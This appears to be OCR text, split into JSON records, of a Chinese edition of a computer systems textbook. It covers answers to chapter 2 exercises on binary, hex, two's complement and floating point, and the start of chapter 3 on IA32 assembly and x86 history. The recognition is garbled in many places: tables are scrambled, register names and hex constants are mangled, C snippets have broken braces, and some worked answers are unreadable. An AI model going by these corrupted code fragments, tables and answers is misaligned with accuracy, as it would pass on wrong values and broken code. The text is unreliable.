    {"text": "A.将0x39A7F8转换成二进制： 十六进制 3 9 A 7 F 8 二进制 0011 1001 1010 0111 1111 1000 B•将二进制1100100101111011转换成十六进制： 二进制 1100 1001 0111 1011 十六进制 C 9 7 B 将 0XD5E4C 转换成二进制： 十六进制 D 5 E 4 C 二进制 1101 0101 1110 0100 1100 将二进制1001101110011110110101转换成十六进制： 二进制 10 0110 1110 0111 1011 0101 十六进制 2 6 E 7 B 5 练习题 2.2这个问题给你一个机会思考2的幂和它们的十六进制表示。 n T ( 十进制） T ( 十六进制） 9 512 0x200 19 524 288 0x80000 14 16 384 0x4000 16 65 536 0x10000 17 131 072 0x20000 5 32 0x20 7 128 0x80 练习题 2.3这个问题给你一个机会试着对一些小的数在十六进制和十进制表示之间进行转换。"},
    {"text": "十进制 二进制 十六进制 0 0000 0000 0x00 167=10.16 + 7 1010 0111 0xA7 62 = 3- 16+14 0011 1110 0x3E 188 = 11 • 16+12 1011 1100 OxBC (续） 十进制 二进制 十六进制 3-16 + 7 = 55 00110111 0x37 8- 16 + 8 = 136 1000 1000 0x88 15. 16 + 3 = 243 1111 0011 0xF3 516 + 2 = 82 0101 0010 0x52 10. 16+12=172 1010 1100 OxAC 14* 16 + 7 = 231- 11100111 0xE7 练习题 2.4当开始调试机器级程序时，你将发现在许多情况中，一些简单的十六进制运算是很有用的。"},
    {"text": "0x503c+0x8=0x5044 e 8加上十六进制c得到4并且进位1。 0x503c-0x40=0x4ffc o 在第二个数位，3减去4要从第三位借1。"},
    {"text": "十六进制数a (十进制10)减去十六进制数c (十进制12),我们从第 二位借16，得到十六进制数e (十进制数14)。 在第二个数位，我们现在用十六进制d(十进制13) 减去 3 ， 得到十六进制a (十进制10)。"},
    {"text": "小端法 ：21 大端法 ：87 小端法 ：21 43 大端法 ：87 65 小端法 ：21 43 65 大端法 ：87 65 43 回想一下，showjDytes列举了一系列字节，从低位地址的字节开始，然后逐一列出高位地址的字节。"},
    {"text": "在小端法机器上，它将按照从最低有效字节到最高有效字节的顺序列出字节。 在大端法机器上，它将按照 从最高有效字节到最低有效字节的顺序列出字节。"},
    {"text": "利用书中示例的符号，我们将两个串写成： 00359141 00000000001101011001000101000001 木氺本本本本幸木本本本氺木本本氺本本本木本 4A564504 01001010010101100100010100000100 将第二个字相对于第一个字向右移动2位，我们发现一个有21个匹配位的序列。"},
    {"text": "运算 结果 运算 结果 a [01101001] a&b [01000001] b [01010101] a\\b [01111101] 〜a [10010110] a A b [00111100] 〜b [10101010] 练习题 2.9这个问题说明了怎样用布尔代数描述和解释现实世界的系统。"},
    {"text": "颜色的取补是通过对及、G和5的值取补得到的。 由此我们可以看出，白色是黑色的补，黄色是蓝 色的补，红紫色是绿色的补，蓝绿色是红色的补。"},
    {"text": "据此，我们得到以下结果： 蓝色（001) | 绿色（010) = 蓝绿色（011) 黄色（110) & 蓝绿色（011)= 绿色（010) 红色（100) A 红紫色（101)= 蓝色（001) 练习题 2.10这个程序依赖两个事实，EXCLUSIVE-OR是可交换的和可结合的，以及对于任意的仏有a A a=0。"},
    {"text": "步骤 *x *y 初始 a b 步骤1 a a A b 步骤2 a A (a ~ b) = (a ~ a) A b a A b 步骤3 b b A (a ^ b) = (b A b) A a = a 某种情况下这个函数会失败 ， 参见练习题2.11。"},
    {"text": "代码如下： /* Declarations of functions implementing operations bis and bic */ int bis(int x, int m); int bic(int x, int m); /* Compute x|y using only calls to functions bis and bic 氺 / int bool_or(int x, int y) { int result = bis(x,y); return result; > 、.../* Compute, x^y using only calls to functions bis and bic */ . int bool_xor(int x, int y) { int result = bis(bic(x,y) , bic(y,x)); return result;\nbis 运算等价于布尔 OR ■—如果 x 或者 m 中的这一位置位了，那么 z 中的这一位就置位。"},
    {"text": "为了实现 ' 我们利用以下属性： x \" y = (x Sc ^y) I (^x & y) 练习题 2.14 这个问题突出了位级布尔运算和 C 语言中的逻辑运算之间的关系。"},
    {"text": "表达式 值 表达式 值 x & y 0x20 x && y 0x01 x 1 y 0x7F x I I y 0x01 ~x | 〜y OxDF !x || !y .0x00 x & !y 0x00 x && ~y 0x01 练习题 2.15 这个表达式是！"},
    {"text": "X x « 3 ( 逻辑） x » 2 ( 算术） x » 2 十六进制 二进制 二进制 十六进制 二进制 十六进制 二进制 十六进制 0xC3 [11000011] [00011000] 0x18 [00110000] 0x30 [11110000] 0xF0 0x75 [01110101] [10101000] 0xA8 [00011101] OxlD [00011101] OxlD 0x87 [10000111] [00111000] 0x38 [00100001] 0x21 [11100001] OxEl 0x66 [01100110] [00110000] 0x30 [00011001] 0x19 [00011001] 0x19 练习题 2.17 — 般而言，研究字长非常小的例子是理解计算机运算的非常好的方法。 B 2 T 4 (X) 十六进制 二进制 B 2 U 4 (X)\n-23 + 22-^ = -2 0 2 + 2° = 5 一 2 3 = 一 8 一 2 3 + 2 2 + 2 0 = -3 一2 3 + 2 2 4- 2 1 + 2° = -1 1J 1J I I u I I u o 1 o 1 1 o o o o 1 1 CD 1 o 1 1 1 o o 1 1 .1 rL rL rL rL rL rL ixE 1x0 1x5 1x8 IxD )xF\n练习题 2.18 对于 32 位的机器，由 8 个十六进制数字组成 , 而且开始的那个数字在 8 〜 / 之间的任何值 , 都是一个负数。"},
    {"text": "81 ec b8 01 00 00 • 8048337: 804833d: 8048340: 8048343: 8048349: 804834b: 8048351: 8048354: 8048357: 804835d: 804835f: 8048362: 8048365: 804836b: 804836e: 8048371: 8b 55 08 83 c2 14 8b 85 58 fe ff ff 02 89 85 74 fe ff ff 8b 55 08 83 c2 44 8b 85 c8 fe ff ff 89 02 8b 45 10 45 0c 89 85 ec fe ff ff 8b 45 08 83 cO 20 8b 00 sub $Oxlb8,/ 0 esp A. 440 mov 0x8(%ebp),%edx add $0x14,%edx B. 20 mov Oxfffffe58(%ebp),%eax C. -424 add (%edx),%eax mov %eax,0xfffffe74(%ebp) D. -396 mov Ox8(°/ 0 ebp) ,%edx add $0x44,%edx E. 68 mov 0xfffffec8(%ebp),%eax F. -312 mov %eax,(%edx) mov 0x10(%ebp),%eax G. 16 add Oxc(%ebp),%eax H. 12 mov %eax,Oxfffffeec(%ebp) I. -276 mov 0x8(%ebp),%eax add $0x20,%eax J. 32 mov (%eax) ,7 0 eax\n练习题 2.19从数学的视角来看，函数和是非常奇特的。"},
    {"text": "( 十六进制 ) X T 2 U 4 (X) 0x8 -8 8 OxD. -3 13 • OxE 一 2 14 OxF -1 15 0x0 0 0 0x5 5 5 练习题 2.20这个练习题测试你对等式（2-6)的理解。"},
    {"text": "对于前4个条目，x的值是负的，并且= x + 对于剩下的两个条目，X的值是非负的，并且 T 2 U 4 {X) — X O - 练习题 2.21这个问题加强你对补码和无符号表示之间关系的理解，以及对C语言升级规则（promotion rule)的影响的理解。"},
    {"text": "' 表达式 类型 求值 -2147483647-1 == 2147483648U 无符号数 .1 -i2147483647-l < 214748364-7 有符号数 1 -2147483647-1U < 2147483647 无符号数 0 -2147483647-1 < -2147483647 有符号数 1 -2147483647-1U < -2147483647 无符号数 1 练习题 2.22这个练习很具体地说明了符号扩展如何保持一个补码表示的数值。"},
    {"text": "A. [1011]: 一 23 # + 2 0 = -8 + 2 + 1 = -5 B. [11011]: 一2 4 屮 ZS + Zi + Z 0 = 一 16 + 8 + 2 + 1 = 一 5 C. [111011]: -25 + 24+23 + 2: + 2 0 = 一32 +16 + 8 + 2 + .1' = 一 5 练习题 2.23这些函数的表达式是常见的程序“习惯用语”，可以从多个位域打包成的一个字中提取值。"},
    {"text": "W funl(w) fun2(w) 0x0(3000076 0x00000076 0x00000076 0x87654321 0x00000021 0x00000021 0x000000C9 0x00000009 0xFFFFFFC9 0xEDCBA987 0x00000087 0xFFFFFF87 B.函数funl从参数的低8位中提取一个值，得到范围0〜255之间的一个整数。"},
    {"text": "十六进制 无符号 丰 、码 原始数 截断后的数 原始数 截断后的数 原始数 截断后的数 0 0 0 0 0 0 2 2 2 2 2 2 9 1 9 1 —7 1 B 3 11 3 一 5 3 F 7 15 7 -1 -1 正如等式（2-9)所描述的，这种截断无符号数值的结果就是发现它.们模8余数。"},
    {"text": "对于参数0〜7,将得出值 0〜7,对于参数一8〜-1也是一样。 然后我们对这些余数应用函数U2T 3 ,得出两个0〜3和-4〜1序 列的反复。"},
    {"text": "/* Determine whether arguments can be added without overflow */ int uadd^ok (unsigned x, unsigned y) { unsigned sum = x+y; return sum >= x; } 练习题 2.28本题是对算术模16的简单示范。"},
    {"text": "X .. 十六进制 十进制 十进制 十六进制 0 0 0 0 5 5 11 B 8 8 8 8 D 13 3 3 F • 15 1 1 练习题 2.29:本题的目的是确定你理解了补码加法。 X y x + y 情况 -12 [10100] -15 [10001] -27 [100101] 5 [00101] 1 -8 ..[11000] -8 [11000] -16 ..[11000Q] -16 [10000] 2 一9 [10111] 8 [01000] -1 [111111] -1 [11111] 2 2 [0001D] 5 [00101] 7 [000111] 7 [00111] .3 12 [01100] 4 [00100] 16 [010000] -16 [10000] 4 练习题 2.30这个函数是对确定补码加法是否溢出的规则的直接实现。 /* Determine whether arguments can be added without, overflow */ int tadd_ok(int x, int y) { int sum = x+y; int neg_over = x < 0 && y < 0 && sum >= 0; int pos_over = x >= 0 && y >= 0 && sum <0; return !neg_over && !pos_over; } 练习题 2.31通过对2.3.i节的学习，你的同事可能巳经学会补码加上形成一个阿贝尔群，以及表达式 (x+y) -x求倬得到y,无伞力P法是否溢出，而（x+y) -y总是会求值得到X。"},
    {"text": "模式 截断了的 ;cj\n无符号数 补码 o 1 [[ 4 4 - 5 [101] -3 [101] 20 [ 010100 ] 12 [ 001100 ] 5^01- o 1 rL [ 4 4 - 无符号数 补码 无辟数 补码 1 1 o o rL rL ]TJ 1 1 1 1 14 [001110] -2 [111110] u 1J o 1 1 1 rL rL 1J TJ o 1 1 1 rL rL 1 X ix 1 1 rL rL 36 [100100] 4 [000100] o 1 [[ 4 -4\n练习题 2.35用所有可能的x和y测试一遍这个函数显然是不现实的。"},
    {"text": "我们还知道 W = r2C/ w (p),因为它们是从同一个位模式得出来的无符号和补码数字，因此根据等式 (2-5),我们有《=^+/^2'这里凡^是尸的最高有效位。"},
    {"text": "假设r = / = 0,那么我们有 x \\y = x- q, 隐含有 y = q 0 当x = 0时，乘法不溢出，所以我们的代码提供了一种可靠的方法来测试补码乘法是否会导致溢出。"},
    {"text": "然后我们来验证将乘积强制类型转换为32位是否会 改变它的值： /* Determine whether arguments can be multiplied without overflow */ int tmult_ok(int x, int y) { /* Compute product without overflow */ long long pll = (long long) x*y; /* See if casting to int preserves value */ return pll == (int) pll; > 注意，第4行右边的强制类型转换至关重要。 如果我们将这一行写成以下形式：\nlong long pll = x*y; 就会用32位值来计算乘积（可能会溢出），然后再符号扩展到64位。"},
    {"text": "虽然asize的计算会更准确，但是调用malloc会导致这个值被转换成 .一个32位无符号数字，因而还是会出现同样的溢出条件。 malloc使用一个32位无符号数作为参数，它不可能分配一个大于2 32 个字节的块，因此，没有必 要试图去分配或者复印这样大的一块存储器。"},
    {"text": "取而代之的，函数应该放弃，返回 NULL, 用下面的代码取代 对malloc原始的调用（第10行）： long long unsigned required_size = element * (long long unsigned) ele__size; size_t request.size = (size_t) required_size; if (required_size != request_size) /* Overflow must have occurred. Abort operation */ return NULL; void *result = malloc(request_size); if (result == NULL) '/* malloc failed */ . . return NULL; 练习题 2.38在第3章，我们将看到很多实际的LEA指令的例子。"},
    {"text": "K 移位 加法赚 表达式 6 2 1 (x«2) + (x«l) 31 1 1 (x«5) - x 一 6 2 1 (x«l) - (x«3) 55 2 2 (x«6) 一 (x«3) - x 可以观察到,第四种情况使用了形式B的改进版本。"},
    {"text": ". 练习题2.41假设加法和减法有同样的性能，那么原则就是时，选择形式A,当《=m+l时，随便 选哪种，而当《>w+l时，选择形式B。"},
    {"text": "当时，形式A只需要1个移位，而形式B需要2个移位 和1个减法。 当时，这两种形式都需要2个移位和1个加法或者1个减法。 当时，形式B 只需要2个移位和1个减法，而形式A需要《_m+l>2个移位和个加法。 对于w=l的情况，对于形 式A和B都要少1个移位，所以在两者中选择时，还是适用同样的原则。"},
    {"text": "int divl6(int x) { /* Compute bias to be either 0 (x >: 0) or 15 (x < 0) */ int bias = (x » 31) & OxF; return (x + bias) » 4; > 练习题2.43我们发现当人们直接与汇编代码打交道时是有困难的。"},
    {"text": "(x>0)| 丨（（x-l)<0> 假。 设 x 等于 一2 147 483 648 (TMin 32 ) 0 那么，有 x—1 等于 2147483647 (TMax 32 ) 0 (x&7) !=7| | (x«29<0) 真。"},
    {"text": "小数值 二进制表示 十进制表示 1 8 0.001 0.125 3 5 0.11 0.75 25 TE 1.1001 1.5625 43 1E 10.1011 2.6875 9 8 1.001 1.125 47 T 101.111 ,5.875 51 TE 11.0011 3.1875 考虑二进制小数表示的一个简单方法是将一个数表示为形如会的小数。"},
    {"text": "我们可以看到0.1 — x的二进制表示为： 000000000000000000000001100 [ 1100 ]. • -2 把这个表示与士的二进制表示进行比较，我们可以看到这就是2一 20 x 士，也就是大约9.54X10' 9.54 X10' 8 X 100X60X60X10-0.343 秒。"},
    {"text": "2 e 位 十进制 V E 2 E xM\n014 114 214 33. 414 5_4 614 714 8Z.loT12T14T o 1 一4 112 32. 1 5ht 32 7Z. 2 512 3 712 0.0 0.2f 0.5 0.7f 1.0 1.2f 1.7f 2.0 3.0 3.5 0 0 0 0 1 1 1 1 2 2 2 2 0 0 0 0 0 0 0 0 1 1 1 1 0 00 00 0 00 01 0 00 10 0 00 11 0 01 00 0 01 01 0 01 10 0 01 11 0 10 00 0 10 01 0 10 10 0 10 11 0 11 00 0 11 01 0 11 10 0 11 11 2 2 2 2 00 NaN NaN NaN\n练习题2.48 十六进制 0x359141 等价于二进制[1101011001000101000001]。"},
    {"text": "我们把它和符号字段0联合起来，得到二进制表示 [01001010010101100100010100000100] 我们看到两种表示中匹配的位对应于整数的低位到最高有效位等于1,匹配小数的高21位•• 00359141 00000000001101011001000101000001 本本幸本本本本本本本本氺本本本本本本氺 9| (本 4A56450 4 01001010010101100100010100000100 练习题2.49这个练习帮助你思考什么数不能用浮点准确表示。 这个数的二进制表示是：1后面跟着《个0,其后再跟1,得到的值是2W + 1。"},
    {"text": "原始值 舍入后的值 10.010 2 10.0 2 10.011 2 2i 10.1 2| 10.1102 11.0 3 11.0012 3 l 11.0 3\n练习题 2.51 从1/10的无穷序列中我们可以看到，舍入位置右边2位都是1,所以1/10更好一点儿的近似值应 该是对 X 加 1,得到 x’ = 0.00011001100110011001101 2 ,它比 0.1 大一点儿。"},
    {"text": "我们可以看到x•—0.1的二进制表示为： 0 . 0000000000000000000 [ 1100 ] 将这个值与1/10的二进制表示比较，我们可以看到它等于Z^Xl/lO,大约等于2.38XHT 8 。"},
    {"text": "格式 A 格式 B 注 位 值 位 值 011 0000 1 101 1110 ^ 010 1001 H 110 1111 f 000 0001 ^ 0111 000 1 1001 111 ^ 0110 100 | 1011 000 16 0001 000 ^ 向上舍入 向下舍入 Denorm norm 练习题 2.53 —般来说，使用库宏（librarymacro)会比你自己写的代码更好一些。"},
    {"text": "#define P0S_INFINITY le400 #define NEG_INFINITY (-POS.INFINITY) #define NEG.ZERO (-1.0/P0S_INFINITY) 练习题 2.54这个练习可以帮助你从程序员的角度来提高研究浮点运算的能力。"},
    {"text": "x==(int) (double)x 真，因为double类型比int类型具有更大的精度和范围。 x==(int) (float) x 假，例如当x为TMax时。 d== (double) (float) d 假，例如当d为le40时，右边得到+ 00。 f== (float) (double) f 真，因为double类型比float类型具有更大的精度和范围。 f==- (-f) 真，因为浮点数取非就是简单地对它的符号位取反。 1.0/2==1/2.0 真，在执行除法之前，分子和分母都会被转换成浮点表示。"},
    {"text": "(f+d)-f==d 假，例如当f是1.0e20而d是1.0时，表达式f+d会舍入到1.0e20,因此左边的表达式求值得 到0.0,而右边是1.0。"},
    {"text": "|第3章| I Computer Systems ： A Programmer J s Perspective, 2E 程序的机器级表不 计算机执行机器代码，用字节序列编码低级的操作，包括处理数据、管理存储器、读写存储 设备上的数据，以及利用网络通信。"},
    {"text": "就像我们将在第5章中体会 到的那样，试图最大化一段关键代码的性能的程序员，通常会尝试源代码的各种形式，每次编译 并检查产生的汇编代码，从而了解程序将要运行的效率如何。"},
    {"text": "另外再举一个例子，程序遭受攻击（使得螺虫和病毒能够侵扰系统）的许多方式中，都 涉及程序存储运行时控制信息方式的细节。 许多攻击利用了系统程序中的漏洞重写信息，从而获 得系统的控制权。"},
    {"text": "程序员学习汇编代码的需求随着时间的推移也发生了变化，开始时只要求程序员能直接用汇 编语言编写程序，现在则是要求他们能够阅读和理解编译器产生的代码。"},
    {"text": "相对于C代码表示的计算操作， 优化编译器能够重新排列执行顺序，消除不必要的计算，用快速操作替换慢速操作，甚至将递归 计算变换成迭代计算。"},
    {"text": "计算机产业正处在从32位机到64位机过渡的阶段。 大多数较新的服务器和桌面机以 及许多笔记本电脑的微处理器，都支持32位或者64位运算。 然而，运行在这些机器上的操作系 统，大多数都只支持32位的应用，因此，硬件的能力没有被充分利用。 随着存储器价格的下降， 以及执行大规模数据集应用需求的上升，64位机器和应用会变得越来越普遍。"},
    {"text": "我们会看到在实现32位到64位的转变中，AMD的工程师加入了 一些特性，有的使机器对优化编译器来说是更好的目标机器，还有的提高了系统性能。"},
    {"text": "GCC编译器的每个新版本都比前一版本实现了更精密 的优化算法,极大地改变了程序的面貌，以至于很难辨认初始源代码与生成的机器级程序之间 的关系。"},
    {"text": "相对于x87指令，较新的“SSE”指令是为 了支持多媒体应用而开发的，但是使用SSE指令的较新版本（版本2以后的版本)，配合较新的 GCC版本，已经成为将浮点运算映射到IA32和X86-64机器上的首选方法。"},
    {"text": "8086: (1978年，29 K个晶体管）它是第一代单芯片、16位微处理器之一。 8088是8086 的一个变体,在8086上增加了一个8位外部总线，构成最初的IBM个人计算机的心脏。"},
    {"text": "从体系结构上来说，这些机器只有655 360字节的地址空 间一地址只有20位长（可寻址范围为1 048 576字节>,而操作系统保留了 393 216字节自用。"},
    {"text": "80286: (1982年，134K个晶体管）它增加了更多的寻址模式(有些现在已经废弃了），构 成了 IBM PC-AT个人计算机的基础，这种计算机是MS Windows最初的使用平台。"},
    {"text": "i486: (1989年，1.2M个晶体管)改善了性能，同时将浮点单元集成到了处理器芯片上，但 是指令集没有明显的改变。 Pentium ： (1993年，3.1M个晶体管）改善了性能，不过只对指令集增加了小的扩展。 PentiumPro ： (1995年,5.5M个晶体管）引人全新的处理器设计，内部称为P6微体系结构。"},
    {"text": "Intel系 列有好几个名字，包括IA32,也就是“Intel 32位体系结构”（Intel Architecture 32-bit),以及最 新的Intel64,即IA32的64位扩展，我们也称为x86-64。"},
    {"text": "摩尔定律（Moore’s Law) 如果我们画出各种不同的Intel处理器中晶体管的数量与它们出现的年份之间的坐标图（j轴 为晶体管数量的对数值),我们能够看出，增长是很显著的。 划一条线穿过这些数据，可以看到 晶体管数量以每年大约38%的速率增长，也就是说,晶体管数量每26个月就会翻一番。"},
    {"text": "1965年，GordonMoore, Intel公司的创始人，根据当时的芯片技术（那时他们能够在一个 芯片上制造有大约64个晶体管的电路）做出推断，预测在未来10年，芯片上的晶体管数量每年 都会翻一番。"},
    {"text": "2002年，AMD的处理器变得更加有竞争力，它们率先突 破了可商用微处理器的1G Hz的时钟速度屏障，并且引入了广泛釆用的IA32的64位扩展x86- 64。"},
    {"text": "然后， 编译器产生两个源代码的汇编代码 ， 名字分别为pl.s和p2.s。 接下来 ， 汇编器将汇编代码转 化成二进制目标代码文件名为pi.o和 P 2.o。"},
    {"text": "第一种是机器级程序的 格式和行为，定义为指令集体系结构（Instruction set architecture, ISA),它定义了处理器状态、 指令的格式，以及每条指令对状态的影响。 大多数ISA,包括IA32和X86-64,将程序的行为描 述成好像每条指令是按顺序执行的，一条指令结束后，下一条再开始。 处理器的硬件远比描述的 精细复杂，它们并发地执行许多指令，但是可以釆取措施保证整体行为与ISA指定的顺序执行 完全一致。"},
    {"text": "在整个编译过程中，编译器会完成大部分的工作 ， 将把用C语言提供的相对比较抽象的执 行模型表示的程序转化成处理器执行的非常基本的指令。"},
    {"text": "汇编代码表示非常接近于机器代码。 与 机器代码的二进制格式相比，汇编代码有一个的主要特点，即它用可读性更好的文本格式来表 示。 能够理解汇编代码以及它与原始C代码的联系，是理解计算机如何执行程序的关键一步。"},
    {"text": "一些通常对C语言程序员隐藏的处理器状态是 可见的： •程序计数器（在IA32中，通常称为“PC”，用％eip表示)指示将要执行的下一条指令在 存储器中的地址。"},
    {"text": "虽然C语言提供了一种模型，可以在存储器中声明和分配各种数据类型的对象，但是机器 代码只是简单地将存储器看成一个很大的、按字节寻址的数组。 C语言中的聚合数据类型，例如 数组和结构，在机器代码中用连续的一组字节来表示。"},
    {"text": "程序存储器（program memory)包含：程序的可执行机器代码，操作系统需要的一些信息, 用来管理过程调用和返回的运行时栈，以及用户分配的存储器块（比如说用malloc库函数分 配的)。"},
    {"text": "代码示例 假设我们写了一个C语言代码文件code, c，包含的过程定义如下： int accum ; 0; 2 int sum(int x, int y) { . ‘ int t = x + y; accum += t; return t; } 在命令行上使用“-S”选项，就能得到C语言编译器产生的汇编代码： unix> gcc -01 -S code.c ( 这会使GCC运行编译器，产生一个汇编文件code, s,但是不做其他进一步的工作（通常情况 下，它还会继续调用汇编器产生目标代码文件)。"},
    {"text": "汇编代码文件包含各种声明，包括下面几行：\n%ebp %esp, %ebp 12(°/ 0 ebp), %eax 8(°/ 0 ebp) , %eax %eax, accum %ebp h 1 1 1 1 1 Lsv vLdldp t uood d o e p m m a a p r P 1 mi m< a< a<\n以上代码中每个缩进去的行都对应一条机器指令。"},
    {"text": "如果我们使用‘-c’命令行选项，GCC会编译并汇编该代码： unix> gcc -01 -c code.c 这就会产生目标代码文件code.o,它是二进制格式，所以无法直接査看。"},
    {"text": "800字节的文件 code • o中有一段 V 个字节序列，它的十六进制表示为： 55 89 e5 8b 45 0c 03 45 08 01 05 00 00 00 00 5d c3 这就是上面列出的汇编指令对应的目标代码。"},
    {"text": "然后，在文件code.o上运行GNU调试工具GDB，输入命令： (gdb) x/17xb sum 这条命令告诉GDB检查（简写为‘x’）17个十六进制格式（也简写为‘X’）的字节（简写为 ‘b’）。"},
    {"text": "在Linux系统中，带‘-d’命令行标志的程序OBJDUMP (表示“object dump”）可以充当这个角色： unix> objdump -d code.o 结果如下（这里，我们在左边增加了行号，在右边增加了斜体表示的注解）： Disassembly of function sum in binary file code.o 00000000 <sum>: Offset Bytes Equivalent assembly 1 angiiage 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 8b 45 0c mov 0xc(%ebp) ,°/ 0 eax 6: 03 45 08 add Ox8(°/ 0 ebp) ,%eax 9: 01 05 00 00 00 00 add °/ 0 eax,OxO f: 5d pop %ebp 10: c3 ret 左边，我们看到按照前面的字节顺序排列的17个十六进制字节值，它们分成了几组，每组有 1〜6个字节。"},
    {"text": "假设在文件main, c中有下面这样的函数： . int mainO { return sum(l, 3); } 然后，我们用如下方法生成可执行文件prog: unix> gcc -01 -o prog code.o main.c 文件prog变成了 9 123个字节，因为它不仅包含两个过程的代码，还包含了用来启动和终止程 序的信息，以及用来与操作系统交互的信息。 我们也可以反汇编prog文件： unix> objdump -d prog 反汇编器会抽取出各种代码序列，包括下面这段： Disassembly of function sum in executable file prog 1 08048394 <sum>: Offset Bytes Equivalent assembly language 2 8048394 55 push %ebp 3 8048395 89 e5 mov %esp,%ebp 4 8048397 8b 45 0c mov 0xc(%ebp) } %eax 5 804839a 03 45 08 add 0x8(%ebp),%eax 6 804839d 01 05 18 aO 04 08 add %eax,0x804a018 7 80483a3 5d POP %el?p 8 80483a4 c3 ret 这段代码与code .c反汇编产生的代码几乎完全一样。"},
    {"text": "例如，假设文件simple, c 包含下列代码： int simple(int *xp, int y) { int t =木xp + y; 氺xp = t; return t; } 当带选项和‘-01’运行GCC时,它产生下面的文件simple, s : .file \"simple.c\" .text .globl simple .type simple, ©function simple: pushl %ebp movl %esp, %ebp movl 8(%ebp), %edx movl 12(%ebp), %eax addl (%edx)， %eax movl %eax, (°/ 0 edx) popl %ebp ret .size simple, .-simple .ident \"GCC: (Ubuntu 4.3.2-lubuntull) 4.3.2\" .section .note.GNU-stack,,©progbits 所有以开头的行都是指导汇编器和链接器的命令。"},
    {"text": "pushl %ebp movl %esp, %ebp A movl 8(%ebp) ,• %edx 5 movl 12(°/ 0 ebp), %eax addl (%edx), %eax movl %eax, (%edx) popl %ebp ret Save frame pointer Create new frame pointer Retrieve xp Retrieve y Add *xp to get t Store t at xp Restore frame pointer Return '\n通常我们只会给出与讨论内容相关的代码行。"},
    {"text": "; . ATT与Intel汇编代码格式 我们巧表述是ATT (根4& “AT&T”命名的，AT&T是运营贝尔实验室多年的公司）格 式的汇编代码,这是GCC、OBJDUMP和其他一些我们使用的工具的默认格式。 其他一些编 程工具，包括Microsoft的工具，以及来自Intel的文档，其汇编代码都是Intel格式的。"},
    {"text": "例如，使用下述命令行，GCC可以产生sum:函数的Intel格 式代码： unix> gcc -01 -S -masm^intel code.c 这个命令得到下列汇编代码： 我们看到Intel和ATT格式在以下方面有所不同： mov DWORD PTR [edx], eax pop ebp ret mov edx, DWORD PTR [ebp+8] mov eax, DWORD PTR [ebp+12] add eax, DWORD PTR [edx] simple: push. ebp Assembly code for simple in Intel format\nIntel代码省略了指示大小的后綴。"},
    {"text": "浮点数有三种形式：单精度（4字节）值，对应于C语言数据类型 float ;双精度（8字节）值，对应于C语言数据类型double;扩展精度（10字节）值。"},
    {"text": "C声明 Intel数据类型 汇编代码后缀 大小（字节） char 字节 b 1 short 字 W 2 int 双字 1 4 long int 双字 1 4 long long int 一 — 4 char * 双字 1 4 float 单精度 S 4 double 双精度 1 8 long double 扩展精度 t 10/12 图3-1 C语言数据类型在IA32中的大小。"},
    {"text": "编译带有 long long数据的代码，需要产生一些操作序列，以尥位块为单位执行运箅 如图所示，大多数GCC生成的汇编代码指令都有一个字符后缀，表明操作数的大小。"},
    {"text": "另外，在过程处理中，对前3个寄存器 (%eax、％ecx和％edx)的保存和恢复惯例不同于接下来的三个寄存器（％ebx、％edi和％esi)。"},
    {"text": "31 15 8 7 , * J p d , } %eax tax °/oah %al i — > | 7oCh # /oCl ^edx , , - [ %dh %dl | %bh %bl 為 si ,• ~ t Xfei 丄 h -¾½¾) ： * : t U 1 - ^ ^ ^ ^ ' 栈指针 图3-2 IA32的整数寄存器。"},
    {"text": "在ATT格 式的汇编代码中，立即数的书写方式是‘$’后面跟一个用标准C表示法表示的整数，比如， $-577或$0xlF。 任何能放进一个32位的字里的数值都可以用做立即数，不过汇编器在可能时 会使用一个或两个字节的编码。"},
    {"text": "第二种类型是寄存器（ register), 它表示某个寄存器的内容，对 双字操作来说，可以是8个32位寄存器中的一个（例如，％eax),对字操作来说，可以是8个 16位寄存器中的一个（例如,％ax)，或者对字节操作来说，可以是8个单字节寄存器元素中的\n一个（如％al)。"},
    {"text": "在图3-3中，我们用符号E fl 来表示任意寄存器&用引用R[EJ来表示它的值， 这是将寄存器集合看成一个数组R,用寄存器标识符作为索引。"},
    {"text": "操作数 值 %eax 0x104 $0x108 (%eax) 4(%eax) 9 (°/ 0 eax, 0 / 0 edx) 260(7 o ecx,7 o edx) OxFC(,7 0 ecx,4) (%eax,7 0 edx,4) 寄存器 值 %eax %ecx %edx 0x100 0x1 0x3 地址 值 0x100 0x104 0x108 OxlOC OxFF OxAB 0x13 0x11 如图3-3所示，有多种不同的寻址模式，允许不同形式的存储器引用。"},
    {"text": "这样的引用有四个组成部分：一个立即数偏移/mm, —个 基址寄存器E 6 , —个变址寄存器E,•和一个比例因子&这里s必须是1、2、4或者8。"},
    {"text": "类型 格式 操作数值 名称 立即数 Slmm Imm 立即数寻址 寄存器 R[EJ 寄存器寻址 存储器 1mm M[Imm] 绝对寻址 存储器 (E a ) M[R[EJ] 间接寻址 存储器 Imm(E b ) M[/mw+R[EJ] (基址+偏移量）寻址 存储器 (E*，E ; ) M[R[EJ+R[EJ] 变址寻址 存储器 Imm(E b ， E,) M[/mw+R[EJ+R[EJ] 变址寻址 存储器 (，E^) M[R[EJ-5] 比例变址寻址 存储器 ImmCE^s) M[/w/w+R[EJ . s] 比例变址寻址 存储器 (E*，E/> s) M[R[EJ+R[EJ-5] 比例变址寻址 寄存器 Imm(E b> E„ s) M[/w/w+R[EJ+R[EJ • s] 比例变址寻址 图3-3操作数格式。"},
    {"text": "比例因子s必须是1、2、4或者8 _练习题3.1假设下面的值存放在指明的存储器地址和寄存器中： 3.4.2数据传送指令 将数据从一个位置复制到另一个位置的指令是最频繁使用的指令。"},
    {"text": "指令 效果 描述 M0V S, D D^S 传送 movb movw 传送字节 传送字 movl 传送双字 MOVS S，D D - 符号扩展 iS) 传送符号扩展的字节 movsbw 将做了符号扩展的字节传送到字 movsbl 将做了符号扩展的字节传送到双字 movswl 将做了符号扩展的字传送到双字 MOVZ S, D D — 零扩展（幻 传送零扩展的字节 movzbw 将做了零扩展的字节传送到字 movzbl 将做了零扩展的字节传送到双字 movzwl 将做了零扩展的字传送到双字 pushl S R[%esp] — R[%esp]-4 ； M[R[%esp] ] —5 将双字压栈 popl D D — M[R[%esp]]; R[%esp] — R[%esp]+4 将双字出栈 图3-4数据传送指令 MOV类中的指令将源操作数的值复制到目的操作数中。"},
    {"text": "参考图3-2,这些指令的寄存器操作数，对movl 来说，可以是8个32位寄存器（％eax〜 ％ebp)中的任意一个 ， Xif movw来说，可以是8 个16位寄存器（％ax〜％bp)中的任意一个，而对于movb来说,可以是单字节寄存器元素 (%ah〜％bh, %al〜％bl)中的任意一个。"},
